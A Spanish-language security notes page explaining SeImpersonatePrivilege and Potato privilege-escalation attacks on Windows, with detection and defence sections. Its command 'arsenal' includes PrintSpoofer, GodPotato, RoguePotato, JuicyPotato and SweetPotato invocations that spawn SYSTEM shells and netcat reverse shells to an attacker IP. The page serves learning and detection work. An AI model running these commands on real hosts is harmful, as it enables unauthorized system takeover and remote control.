the_open_door
café
ESEN
← Volver al índice

SeImpersonate and Potato attacks

ATT&CKT1134.001
Arsenal completo de comandos en la cheatsheet

SeImpersonatePrivilege es un privilegio de Windows que permite a un proceso suplantar el token de acceso de un cliente que se autentique contra él. Está pensado para servicios legítimos (un servidor que actúa "en nombre de" el usuario que se conecta), pero es la pieza central de toda una familia de escaladas: los ataques Potato.

Quién lo tiene. Muchas cuentas de servicio lo llevan por defecto: NT AUTHORITY\NETWORK SERVICE, LOCAL SERVICE, las cuentas de IIS/MSSQL, etc. Si logras ejecución de código en el contexto de uno de esos servicios (una web shell, una reverse shell desde una aplicación), heredas el privilegio, y con él la vía a SYSTEM.

La idea común de los Potato. El atacante:

  1. Levanta un endpoint local (una named pipe o un servidor COM/RPC falso).
  2. Engaña a un servicio privilegiado que corre como SYSTEM para que se autentique contra ese endpoint (en JuicyPotato, forzando la activación de un objeto COM por su CLSID; el servicio rpcss lo activa como SYSTEM).
  3. Cuando SYSTEM se conecta, captura su token con ImpersonateNamedPipeClient().
  4. Con SeImpersonatePrivilege, lanza un proceso con ese token vía CreateProcessWithTokenW(): una shell como NT AUTHORITY\SYSTEM.
whoami /priv          :: confirmar SeImpersonatePrivilege = Enabled

Arsenal por variante

No todas funcionan en cada versión de Windows; se prueban de la más moderna a la más antigua. Todas soltan un binario en el host y lanzan una shell como SYSTEM.

PrintSpoofer / GodPotato (Windows 10/11, Server 2019/2022), el vector actual vía spooler o DCOM:

PrintSpoofer.exe -i -c cmd.exe
PrintSpoofer.exe -c "nc.exe <ip> <port> -e cmd"
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc.exe -e cmd <ip> <port>"

RoguePotato (Server 2019 / Win10 1809+), necesita un redirector OXID en el 135:

RoguePotato.exe -r <ip> -e "cmd.exe" -l 9999
:: en el atacante primero: socat tcp-listen:135,reuseaddr,fork tcp:<ip>:9999

JuicyPotato (hasta Server 2016 / Win10 1809), requiere un CLSID que active como SYSTEM:

JuicyPotato.exe -t * -l 4321 -p C:\Windows\System32\cmd.exe -a "/c nc.exe -e cmd <ip> <port>" -c {CLSID}

SweetPotato / JuicyPotatoNG combinan varios vectores (spooler, DCOM, WinRM) en un binario:

SweetPotato.exe -a "nc.exe -e cmd <ip> <port>"
JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c nc.exe -e cmd <ip> <port>"

Los CLSID por versión de Windows están catalogados en el repo de JuicyPotato: se elige uno del servicio BITS/WinRM que active como SYSTEM para esa build.

Por qué importa. Convierte un privilegio "de servicio" aparentemente inofensivo en una escalada directa a SYSTEM, sin exploits de kernel. Es uno de los caminos más fiables de privesc en Windows.

Cómo detectarlo. La firma más limpia es de linaje de procesos: un proceso hijo corriendo como NT AUTHORITY\SYSTEM cuyo padre es una cuenta de servicio (IIS w3wp.exe, MSSQL sqlservr.exe, NETWORK SERVICE) es exactamente lo que produce un Potato. Se ve en el Event ID 4688 (creación de proceso, con auditoría de línea de comando) o en Sysmon 1, donde la transición de integridad de servicio a SYSTEM sin un login interactivo delata la suplantación. Las variantes que abusan del spooler (PrintSpoofer, algunos Potato) tocan la named pipe \pipe\spoolss, visible en Sysmon 17/18 (Pipe Created/Connected). Y siempre hay un binario recién soltado (JP.exe, GodPotato.exe) que EDR/AV marcan. La clave: casi nada legítimo engendra un cmd/nc como SYSTEM desde una cuenta de servicio web.

Defensa. Minimizar las cuentas de servicio con SeImpersonatePrivilege, mantener el sistema parcheado (las versiones modernas mitigan varias variantes) y aislar los servicios expuestos para que una ejecución de código no recaiga en una cuenta con este privilegio. Relacionado con el abuso de SUID en Linux como equivalente conceptual: un permiso pensado para un uso legítimo que se convierte en escalada.

HerramientasPrintSpooferJuicyPotatoGodPotatoFullPowers

Máquinas donde se aplica